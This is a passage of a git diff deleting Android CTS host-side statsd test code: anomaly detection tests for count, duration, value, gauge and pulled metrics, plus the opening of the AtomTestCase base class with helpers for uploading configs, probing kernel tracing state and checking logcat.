-    // Also tests that anomaly detection works when spanning multiple buckets.
-    public void testCountAnomalyDetection() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig(10, 20, 2 /* threshold: > 2 counts */)
-                .addCountMetric(CountMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.CTS) // 1 second
-                        // Slice by label
-                        .setDimensionsInWhat(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                )
-                        )
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        // count(label=6) -> 1 (not an anomaly, since not "greater than 2")
-        doAppBreadcrumbReportedStart(6);
-        Thread.sleep(500);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        // count(label=6) -> 2 (not an anomaly, since not "greater than 2")
-        doAppBreadcrumbReportedStart(6);
-        Thread.sleep(500);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        // count(label=12) -> 1 (not an anomaly, since not "greater than 2")
-        doAppBreadcrumbReportedStart(12);
-        Thread.sleep(1000);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        doAppBreadcrumbReportedStart(6); // count(label=6) -> 3 (anomaly, since "greater than 2"!)
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-    // Tests that anomaly detection for duration works.
-    // Also tests that refractory periods in anomaly detection work.
-    public void testDurationAnomalyDetection() throws Exception {
-        final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
-        StatsdConfig.Builder config =
-                getBaseConfig(17, 17, 10_000_000_000L  /*threshold: > 10 seconds in nanoseconds*/)
-                        .addDurationMetric(DurationMetric.newBuilder()
-                                .setId(METRIC_ID)
-                                .setWhat(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE) // predicate below
-                                .setAggregationType(DurationMetric.AggregationType.SUM)
-                                .setBucket(TimeUnit.CTS) // 1 second
-                        )
-                        .addPredicate(StatsdConfigProto.Predicate.newBuilder()
-                                .setId(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE)
-                                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                                        .setStart(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                                        .setStop(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
-                                )
-                        );
-        uploadConfig(config);
-
-        // Since timing is crucial and checking logcat for incidentd is slow, we don't test for it.
-
-        // Test that alarm doesn't fire early.
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(6_000);  // Recorded duration at end: 6s
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(4_000);  // Recorded duration at end: 6s
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        // Test that alarm does fire when it is supposed to (after 4s, plus up to 5s alarm delay).
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(9_000);  // Recorded duration at end: 13s
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-
-        // Now test that the refractory period is obeyed.
-        markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStop(1);
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(3_000);  // Recorded duration at end: 13s
-        // NB: the previous getEventMetricDataList also removes the report, so size is back to 0.
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        // Test that detection works again after refractory period finishes.
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(8_000);  // Recorded duration at end: 9s
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(15_000);  // Recorded duration at end: 15s
-        // We can do an incidentd test now that all the timing issues are done.
-        data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-
-        doAppBreadcrumbReportedStop(1);
-    }
-
-    // Tests that anomaly detection for duration works even when the alarm fires too late.
-    public void testDurationAnomalyDetectionForLateAlarms() throws Exception {
-        final int APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE = 1423;
-        StatsdConfig.Builder config =
-                getBaseConfig(50, 0, 6_000_000_000L /* threshold: > 6 seconds in nanoseconds */)
-                        .addDurationMetric(DurationMetric.newBuilder()
-                                .setId(METRIC_ID)
-                                .setWhat(
-                                        APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE) // Predicate below.
-                                .setAggregationType(DurationMetric.AggregationType.SUM)
-                                .setBucket(TimeUnit.CTS) // 1 second
-                        )
-                        .addPredicate(StatsdConfigProto.Predicate.newBuilder()
-                                .setId(APP_BREADCRUMB_REPORTED_IS_ON_PREDICATE)
-                                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                                        .setStart(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                                        .setStop(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
-                                )
-                        );
-        uploadConfig(config);
-
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(5_000);
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(2_000);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-
-        // Test that alarm does fire when it is supposed to.
-        // The anomaly occurs in 1s, but alarms won't fire that quickly.
-        // It is likely that the alarm will only fire after this period is already over, but the
-        // anomaly should nonetheless be detected when the event stops.
-        doAppBreadcrumbReportedStart(1);
-        Thread.sleep(1_200);
-        // Anomaly should be detected here if the alarm didn't fire yet.
-        doAppBreadcrumbReportedStop(1);
-        Thread.sleep(200);
-        List<EventMetricData> data = getEventMetricDataList();
-        if (data.size() == 2) {
-            // Although we expect that the alarm won't fire, we certainly cannot demand that.
-            CLog.w(TAG, "The anomaly was detected twice. Presumably the alarm did manage to fire.");
-        }
-        assertThat(data.size()).isAnyOf(1, 2);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-    }
-
-    // Tests that anomaly detection for value works.
-    public void testValueAnomalyDetection() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
-                .addValueMetric(ValueMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.ONE_MINUTE)
-                        // Get the label field's value:
-                        .setValueField(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                        )
-
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        doAppBreadcrumbReportedStart(14); // value = 14 > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-    // Test that anomaly detection integrates with perfetto properly.
-    public void testPerfetto() throws Exception {
-        String chars = getDevice().getProperty("ro.build.characteristics");
-        if (chars.contains("watch")) {
-                return;
-        }
-
-        if (PERFETTO_TESTS_ENABLED) resetPerfettoGuardrails();
-
-        StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
-                .addSubscription(Subscription.newBuilder()
-                        .setId(SUBSCRIPTION_ID_PERFETTO)
-                        .setRuleType(Subscription.RuleType.ALERT)
-                        .setRuleId(ALERT_ID)
-                        .setPerfettoDetails(PerfettoDetails.newBuilder()
-                                .setTraceConfig(getPerfettoConfig()))
-                )
-                .addValueMetric(ValueMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.ONE_MINUTE)
-                        // Get the label field's value:
-                        .setValueField(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                        )
-
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (PERFETTO_TESTS_ENABLED) assertThat(isSystemTracingEnabled()).isFalse();
-
-        doAppBreadcrumbReportedStart(14); // value = 14 > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-
-        // Pool a few times to allow for statsd <-> traced <-> traced_probes communication to happen.
-        if (PERFETTO_TESTS_ENABLED) {
-                boolean tracingEnabled = false;
-                for (int i = 0; i < 5; i++) {
-                        if (isSystemTracingEnabled()) {
-                                tracingEnabled = true;
-                                break;
-                        }
-                        Thread.sleep(1000);
-                }
-                assertThat(tracingEnabled).isTrue();
-        }
-    }
-
-    // Tests that anomaly detection for gauge works.
-    public void testGaugeAnomalyDetection() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig(1, 20, 6 /* threshold: value > 6 */)
-                .addGaugeMetric(GaugeMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.CTS)
-                        // Get the label field's value into the gauge:
-                        .setGaugeFieldsFilter(
-                                FieldFilter.newBuilder().setFields(FieldMatcher.newBuilder()
-                                        .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                        .addChild(FieldMatcher.newBuilder()
-                                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                                )
-                        )
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(6); // gauge = 6, which is NOT > trigger
-        Thread.sleep(Math.max(WAIT_AFTER_BREADCRUMB_MS, 1_100)); // Must be >1s to push next bucket.
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        // We waited for >1s above, so we are now in the next bucket (which is essential).
-        doAppBreadcrumbReportedStart(14); // gauge = 14 > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-    // Test that anomaly detection for pulled metrics work.
-    public void testPulledAnomalyDetection() throws Exception {
-        final int ATOM_ID = Atom.KERNEL_WAKELOCK_FIELD_NUMBER;  // A pulled atom
-        final int SLICE_BY_FIELD = KernelWakelock.NAME_FIELD_NUMBER;
-        final int VALUE_FIELD = KernelWakelock.VERSION_FIELD_NUMBER;  // Something that will be > 0.
-        final int ATOM_MATCHER_ID = 300;
-
-        StatsdConfig.Builder config = getBaseConfig(10, 20, 0 /* threshold: value > 0 */)
-                .addAllowedLogSource("AID_SYSTEM")
-                // Track the ATOM_ID pulled atom
-                .addAtomMatcher(StatsdConfigProto.AtomMatcher.newBuilder()
-                        .setId(ATOM_MATCHER_ID)
-                        .setSimpleAtomMatcher(StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                                .setAtomId(ATOM_ID)))
-                .addGaugeMetric(GaugeMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(ATOM_MATCHER_ID)
-                        .setBucket(TimeUnit.CTS)
-                        .setSamplingType(GaugeMetric.SamplingType.RANDOM_ONE_SAMPLE)
-                        // Slice by SLICE_BY_FIELD (typical usecase)
-                        .setDimensionsInWhat(FieldMatcher.newBuilder()
-                                .setField(ATOM_ID)
-                                .addChild(FieldMatcher.newBuilder().setField(SLICE_BY_FIELD))
-                        )
-                        // Track the VALUE_FIELD (anomaly detection requires exactly one field here)
-                        .setGaugeFieldsFilter(
-                                FieldFilter.newBuilder().setFields(FieldMatcher.newBuilder()
-                                        .setField(ATOM_ID)
-                                        .addChild(FieldMatcher.newBuilder().setField(VALUE_FIELD))
-                                )
-                        )
-                );
-        uploadConfig(config);
-
-        Thread.sleep(6_000); // Wait long enough to ensure AlarmManager signals >= 1 pull
-
-        List<EventMetricData> data = getEventMetricDataList();
-        // There will likely be many anomalies (one for each dimension). There must be at least one.
-        assertThat(data.size()).isAtLeast(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-    }
-
-
-    private final StatsdConfig.Builder getBaseConfig(int numBuckets,
-                                                     int refractorySecs,
-                                                     long triggerIfSumGt) throws Exception {
-      return createConfigBuilder()
-          // Items of relevance for detecting the anomaly:
-          .addAtomMatcher(
-              StatsdConfigProto.AtomMatcher.newBuilder()
-                  .setId(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                  .setSimpleAtomMatcher(
-                      StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                          .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                          // Event only when the uid is this app's uid.
-                          .addFieldValueMatcher(createFvm(AppBreadcrumbReported.UID_FIELD_NUMBER)
-                                                    .setEqInt(getHostUid()))
-                          .addFieldValueMatcher(
-                              createFvm(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                  .setEqInt(AppBreadcrumbReported.State.START.ordinal()))))
-          .addAtomMatcher(
-              StatsdConfigProto.AtomMatcher.newBuilder()
-                  .setId(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
-                  .setSimpleAtomMatcher(
-                      StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                          .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                          // Event only when the uid is this app's uid.
-                          .addFieldValueMatcher(createFvm(AppBreadcrumbReported.UID_FIELD_NUMBER)
-                                                    .setEqInt(getHostUid()))
-                          .addFieldValueMatcher(
-                              createFvm(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                  .setEqInt(AppBreadcrumbReported.State.STOP.ordinal()))))
-          .addAlert(Alert.newBuilder()
-                        .setId(ALERT_ID)
-                        .setMetricId(METRIC_ID) // The metric itself must yet be added by the test.
-                        .setNumBuckets(numBuckets)
-                        .setRefractoryPeriodSecs(refractorySecs)
-                        .setTriggerIfSumGt(triggerIfSumGt))
-          .addSubscription(
-              Subscription.newBuilder()
-                  .setId(SUBSCRIPTION_ID_INCIDENTD)
-                  .setRuleType(Subscription.RuleType.ALERT)
-                  .setRuleId(ALERT_ID)
-                  .setIncidentdDetails(IncidentdDetails.newBuilder().addSection(INCIDENTD_SECTION)))
-          // We want to trigger anomalies on METRIC_ID, but don't want the actual data.
-          .addNoReportMetric(METRIC_ID)
-
-          // Items of relevance to reporting the anomaly (we do want this data):
-          .addAtomMatcher(
-              StatsdConfigProto.AtomMatcher.newBuilder()
-                  .setId(ANOMALY_DETECT_MATCH_ID)
-                  .setSimpleAtomMatcher(
-                      StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                          .setAtomId(Atom.ANOMALY_DETECTED_FIELD_NUMBER)
-                          .addFieldValueMatcher(createFvm(AnomalyDetected.CONFIG_UID_FIELD_NUMBER)
-                                                    .setEqInt(getHostUid()))
-                          .addFieldValueMatcher(createFvm(AnomalyDetected.CONFIG_ID_FIELD_NUMBER)
-                                                    .setEqInt(CONFIG_ID))))
-          .addEventMetric(StatsdConfigProto.EventMetric.newBuilder()
-                              .setId(ANOMALY_EVENT_ID)
-                              .setWhat(ANOMALY_DETECT_MATCH_ID));
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
deleted file mode 100644
index 8ce54f3..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ /dev/null
@@ -1,1164 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_APK;
-import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.BatteryStatsProto;
-import android.os.StatsDataDumpProto;
-import android.service.battery.BatteryServiceDumpProto;
-import android.service.batterystats.BatteryStatsServiceDumpProto;
-import android.service.procstats.ProcessStatsServiceDumpProto;
-
-import com.android.annotations.Nullable;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventMetric;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.ProcessStatsPackageProto;
-import com.android.os.AtomsProto.ProcessStatsProto;
-import com.android.os.AtomsProto.ProcessStatsStateProto;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.DurationMetricData;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.GaugeBucketInfo;
-import com.android.os.StatsLog.GaugeMetricData;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.os.StatsLog.ValueMetricData;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.util.CommandResult;
-import com.android.tradefed.util.CommandStatus;
-
-import com.google.common.collect.Range;
-import com.google.common.io.Files;
-import com.google.protobuf.ByteString;
-
-import perfetto.protos.PerfettoConfig.DataSourceConfig;
-import perfetto.protos.PerfettoConfig.FtraceConfig;
-import perfetto.protos.PerfettoConfig.TraceConfig;
-
-import java.io.File;
-import java.text.SimpleDateFormat;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Comparator;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Queue;
-import java.util.Random;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
-
-/**
- * Base class for testing Statsd atoms.
- * Validates reporting of statsd logging based on different events
- */
-public class AtomTestCase extends BaseTestCase {
-
-    /**
-     * Run tests that are optional; they are not valid CTS tests per se, since not all devices can
-     * be expected to pass them, but can be run, if desired, to ensure they work when appropriate.
-     */
-    public static final boolean OPTIONAL_TESTS_ENABLED = false;
-
-    public static final String UPDATE_CONFIG_CMD = "cmd stats config update";
-    public static final String DUMP_REPORT_CMD = "cmd stats dump-report";
-    public static final String DUMP_BATTERY_CMD = "dumpsys battery";
-    public static final String DUMP_BATTERYSTATS_CMD = "dumpsys batterystats";
-    public static final String DUMPSYS_STATS_CMD = "dumpsys stats";
-    public static final String DUMP_PROCSTATS_CMD = "dumpsys procstats";
-    public static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
-    /** ID of the config, which evaluates to -1572883457. */
-    public static final long CONFIG_ID = "cts_config".hashCode();
-
-    public static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
-    public static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
-    public static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
-    public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
-    public static final String FEATURE_CAMERA = "android.hardware.camera";
-    public static final String FEATURE_CAMERA_FLASH = "android.hardware.camera.flash";
-    public static final String FEATURE_CAMERA_FRONT = "android.hardware.camera.front";
-    public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
-    public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
-    public static final String FEATURE_PC = "android.hardware.type.pc";
-    public static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
-    public static final String FEATURE_TELEPHONY = "android.hardware.telephony";
-    public static final String FEATURE_WATCH = "android.hardware.type.watch";
-    public static final String FEATURE_WIFI = "android.hardware.wifi";
-    public static final String FEATURE_INCREMENTAL_DELIVERY =
-            "android.software.incremental_delivery";
-
-    // Telephony phone types
-    public static final int PHONE_TYPE_GSM = 1;
-    public static final int PHONE_TYPE_CDMA = 2;
-    public static final int PHONE_TYPE_CDMA_LTE = 6;
-
-    protected static final int WAIT_TIME_SHORT = 1000;
-    protected static final int WAIT_TIME_LONG = 2_000;
-
-    protected static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
-    protected static final long SCREEN_STATE_POLLING_INTERVAL = 500;
-
-    protected static final long NS_PER_SEC = (long) 1E+9;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // Uninstall to clear the history in case it's still on the device.
-        removeConfig(CONFIG_ID);
-        getReportList(); // Clears data.
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        removeConfig(CONFIG_ID);
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        super.tearDown();
-    }
-
-    /**
-     * Determines whether logcat indicates that incidentd fired since the given device date.
-     */
-    protected boolean didIncidentdFireSince(String date) throws Exception {
-        final String INCIDENTD_TAG = "incidentd";
-        final String INCIDENTD_STARTED_STRING = "reportIncident";
-        // TODO: Do something more robust than this in case of delayed logging.
-        Thread.sleep(1000);
-        String log = getLogcatSince(date, String.format(
-                "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
-        return log.contains(INCIDENTD_STARTED_STRING);
-    }
-
-    protected boolean checkDeviceFor(String methodName) throws Exception {
-        try {
-            installPackage(DEVICE_SIDE_TEST_APK, true);
-            runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".Checkers", methodName);
-            // Test passes, meaning that the answer is true.
-            LogUtil.CLog.d(methodName + "() indicates true.");
-            return true;
-        } catch (AssertionError e) {
-            // Method is designed to fail if the answer is false.
-            LogUtil.CLog.d(methodName + "() indicates false.");
-            return false;
-        }
-    }
-
-    /**
-     * Returns a protobuf-encoded perfetto config that enables the kernel
-     * ftrace tracer with sched_switch for 10 seconds.
-     */
-    protected ByteString getPerfettoConfig() {
-        TraceConfig.Builder builder = TraceConfig.newBuilder();
-
-        TraceConfig.BufferConfig buffer = TraceConfig.BufferConfig
-            .newBuilder()
-            .setSizeKb(128)
-            .build();
-        builder.addBuffers(buffer);
-
-        FtraceConfig ftraceConfig = FtraceConfig.newBuilder()
-            .addFtraceEvents("sched/sched_switch")
-            .build();
-        DataSourceConfig dataSourceConfig = DataSourceConfig.newBuilder()
-            .setName("linux.ftrace")
-            .setTargetBuffer(0)
-            .setFtraceConfig(ftraceConfig)
-            .build();
-        TraceConfig.DataSource dataSource = TraceConfig.DataSource
-            .newBuilder()
-            .setConfig(dataSourceConfig)
-            .build();
-        builder.addDataSources(dataSource);
-
-        builder.setDurationMs(10000);
-        builder.setAllowUserBuildTracing(true);
-
-        TraceConfig.IncidentReportConfig incident = TraceConfig.IncidentReportConfig
-            .newBuilder()
-            .setDestinationPackage("foo.bar.baz")
-            .build();
-        builder.setIncidentReportConfig(incident);
-
-        // To avoid being hit with guardrails firing in multiple test runs back
-        // to back, we set a unique session key for each config.
-        Random random = new Random();
-        StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-");
-        sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
-        builder.setUniqueSessionName(sessionNameBuilder.toString());
-
-        return builder.build().toByteString();
-    }
-
-    /**
-     * Resets the state of the Perfetto guardrails. This avoids that the test fails if it's
-     * run too close of for too many times and hits the upload limit.
-     */
-    protected void resetPerfettoGuardrails() throws Exception {
-        final String cmd = "perfetto --reset-guardrails";
-        CommandResult cr = getDevice().executeShellV2Command(cmd);
-        if (cr.getStatus() != CommandStatus.SUCCESS)
-            throw new Exception(String.format("Error while executing %s: %s %s", cmd, cr.getStdout(), cr.getStderr()));
-    }
-
-    private String probe(String path) throws Exception {
-        return getDevice().executeShellCommand("if [ -e " + path + " ] ; then"
-                + " cat " + path + " ; else echo -1 ; fi");
-    }
-
-    /**
-     * Determines whether perfetto enabled the kernel ftrace tracer.
-     */
-    protected boolean isSystemTracingEnabled() throws Exception {
-        final String traceFsPath = "/sys/kernel/tracing/tracing_on";
-        String tracing_on = probe(traceFsPath);
-        if (tracing_on.startsWith("0")) return false;
-        if (tracing_on.startsWith("1")) return true;
-
-        // fallback to debugfs
-        LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to debugfs", traceFsPath,
-                tracing_on);
-
-        final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
-        tracing_on = probe(debugFsPath);
-        if (tracing_on.startsWith("0")) return false;
-        if (tracing_on.startsWith("1")) return true;
-        throw new Exception(String.format("Unexpected state for %s = %s", traceFsPath, tracing_on));
-    }
-
-    protected static StatsdConfig.Builder createConfigBuilder() {
-      return StatsdConfig.newBuilder()
-          .setId(CONFIG_ID)
-          .addAllowedLogSource("AID_SYSTEM")
-          .addAllowedLogSource("AID_BLUETOOTH")
-          // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
-          .addAllowedLogSource("com.android.bluetooth")
-          .addAllowedLogSource("AID_LMKD")
-          .addAllowedLogSource("AID_RADIO")
-          .addAllowedLogSource("AID_ROOT")
-          .addAllowedLogSource("AID_STATSD")
-          .addAllowedLogSource("com.android.systemui")
-          .addAllowedLogSource(DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE)
-          .addDefaultPullPackages("AID_RADIO")
-          .addDefaultPullPackages("AID_SYSTEM")
-          .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
-    }
-
-    protected void createAndUploadConfig(int atomTag) throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atomTag);
-        uploadConfig(conf);
-    }
-
-    protected void uploadConfig(StatsdConfig.Builder config) throws Exception {
-        uploadConfig(config.build());
-    }
-
-    protected void uploadConfig(StatsdConfig config) throws Exception {
-        LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
-        File configFile = File.createTempFile("statsdconfig", ".config");
-        configFile.deleteOnExit();
-        Files.write(config.toByteArray(), configFile);
-        String remotePath = "/data/local/tmp/" + configFile.getName();
-        getDevice().pushFile(configFile, remotePath);
-        getDevice().executeShellCommand(
-                String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD,
-                        String.valueOf(CONFIG_ID)));
-        getDevice().executeShellCommand("rm " + remotePath);
-    }
-
-    protected void removeConfig(long configId) throws Exception {
-        getDevice().executeShellCommand(
-                String.join(" ", REMOVE_CONFIG_CMD, String.valueOf(configId)));
